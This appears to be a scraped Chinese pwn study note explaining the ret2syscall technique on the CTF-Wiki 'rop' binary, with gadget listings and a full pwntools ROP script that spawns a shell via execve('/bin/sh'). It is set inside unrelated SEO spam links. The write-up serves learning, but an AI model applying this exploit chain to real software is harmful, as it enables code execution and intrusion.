当前位置: 首页 > news >正文

网站建设方案交换认苏州久远网络湖州做网站优化

网站建设方案交换认苏州久远网络,湖州做网站优化,详情页设计模板网站,餐饮招商加盟网站建设费用pwn学习笔记#xff08;3#xff09; ROP原理#xff1a; ​ ROP(Return Oriented Programming)返回导向编程#xff0c;主要思想是通过在程序中已有的小片段#xff08;gadgets#xff09;来改变某些寄存器或者变量的值#xff0c;从而控制程序的执行流程。 栈溢出–…pwn学习笔记3 ROP原理 ​ ROP(Return Oriented Programming)返回导向编程主要思想是通过在程序中已有的小片段gadgets来改变某些寄存器或者变量的值从而控制程序的执行流程。 栈溢出–ret2syscall 1.系统调用 ​ 对于一个已经存在于标准库中的函数例如printf()我们编写某个程序的时候这个函数仅仅只用了printf(参数);这么一行但是其工作可是很复杂的printf()调用了函数库当中的其他更加底层的函数然后被调用的函数肯定会调用再底层的函数知道调用到系统调用中的write()函数为止由上可知任何一个函数想要完成某样工作都必须要经过系统调用来操作硬件才能够成功。 ​ 在Linux中系统调用通常通过int 80h 这一汇编代码实现int表示的是终端interrupt80h则是代指的系统调用的终端符号当程序执行到int 80h这一代码的时候就会将相应的通用寄存器eax中的参数作为系统调用的调用号其他寄存器中的值或者地址所指向的值作为参数例如 execve(/bin/sh,NULL,NULL) //32位程序​ 该函数的系统调用号为11这里可以通过. cat /usr/include/asm/unistd_32.h | grep execve 进行查询那么如果想要调用execve()函数就需要提前让相应的通用寄存器置于正确的值这样才能进行正确的系统调用所以需要让 eax0xbebx/bin/sh 的地址ecx0edx02.题目示例ctf-Wiki—pwn-ret2syscall ​ 首先应该检测程序的保护 ➜ ret2syscall checksec ropArch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)​ 可以看出程序是一个32位小端序之开启了NX保护的程序之后用IDA静态调试一下 int __cdecl main(int argc, const char **argv, const char **envp) {int v4; // [sp1Ch] [bp-64h]1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts(This time, no system() and NO SHELLCODE!!!);puts(What do you plan to do?);gets(v4);return 0; }​ 这里仍是一个栈溢出的题目危险函数很明显可以直接利用到之后类似于之前的做法我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell所以我们利用程序中的 gadgets 来获得 shell而对应的 shell 获取则是利用系统调用。 ​ 因此接下来需要达成的系统调用就是 execve(/bin/sh,NULL,NULL)​ 之后就需要按照如下的方式来置位正确的寄存器的值 系统调用号即 eax 应该为 0xb 第一个参数即 ebx 应该指向 /bin/sh 的地址其实执行 sh 的地址也可以。 第二个参数即 ecx 应该为 0 第三个参数即 edx 应该为 0​ 那么能够直接操作寄存器的则是汇编代码因此则需要使用ROPgadget工具来寻找相关的代码 ➜ ret2syscall ROPgadget --binary rop --only pop|ret | grep eax 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret​ 以及 ➜ ret2syscall ROPgadget --binary rop --only pop|ret | grep ebx 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret​ 这里找到了这个 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret​ 然后就是/bin/sh的地址了 ➜ ret2syscall ROPgadget --binary rop --string /bin/sh Strings information0x080be408 : /bin/sh​ 最后则是int 80h的地址 ➜ ret2syscall ROPgadget --binary rop --only int Gadgets information0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfcUnique gadgets found: 4​ 像这样按照寄存器以及值的关系依次将寄存器置位正确的值之后执行int 80h即可达到正确的系统调用相应的脚本如下 from pwn import *sh process(./rop) pop_eax_ret 0x080bb196 pop_edx_ecx_ebx_ret 0x0806eb90 int_0x80 0x08049421 binsh 0x80be408 payload flat([A * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive()
http://www.tj-hxxt.cn/news/231002.html

相关文章:

  • 福州微信网站制作设计公司网站页面设计
  • 大兴网站制作找客户的软件有哪些
  • 宁波网站建设制作电话号码网络广告案例以及分析
  • 汕尾网站建设青岛网站建设搭建
  • 论坛推广网站网络推广宣传方式
  • wordpress建站详解有哪些好的响应式网站有哪些
  • 网站做强制访问控制wordpress主题生成
  • 云南建设监理协会网站wordpress结合tornado
  • 网站建设教程免费湖南岚鸿天津搜索引擎推广系统
  • 网站开发word怎么自己找外贸订单
  • 有没有做美食的小视频网站公司网站建设方案建议
  • 营销型网站可以吗seo优化内页排名
  • html搭建网站wordpress全站cdn
  • 网站推广营销方法wordpress 模板 外贸
  • 龙岩网页优化网站使用体验
  • 高级网站建设做网站和app哪个简单
  • 四川住房城乡和城乡建设厅网站苏州竞价托管
  • 大连seo网站石家庄建设一个网站多少钱
  • 免费网站的资源可以发公众号吗广告代理商是什么
  • 广东网站开发软件现在做推广有什么好的方法
  • 做网站的什么公司最好分类信息网址
  • 购物网站制作教程北京公司网站制作要多少钱
  • 罗湖做网站运营乐云seo网址大全免费下载
  • 外贸网站布局网站群建设平台
  • 运城做网站哪家好免费网络游戏排行榜前十名
  • 为什么要用h5建站做网站需要怎么分工
  • 如何创建商业网站欧力虎网站建设
  • 建设网站建设哪里好凡客诚品官方网站
  • 网站建设公司net2006济南网络免费推广网站
  • dw旅游网站模板html网页制作小刘在线课程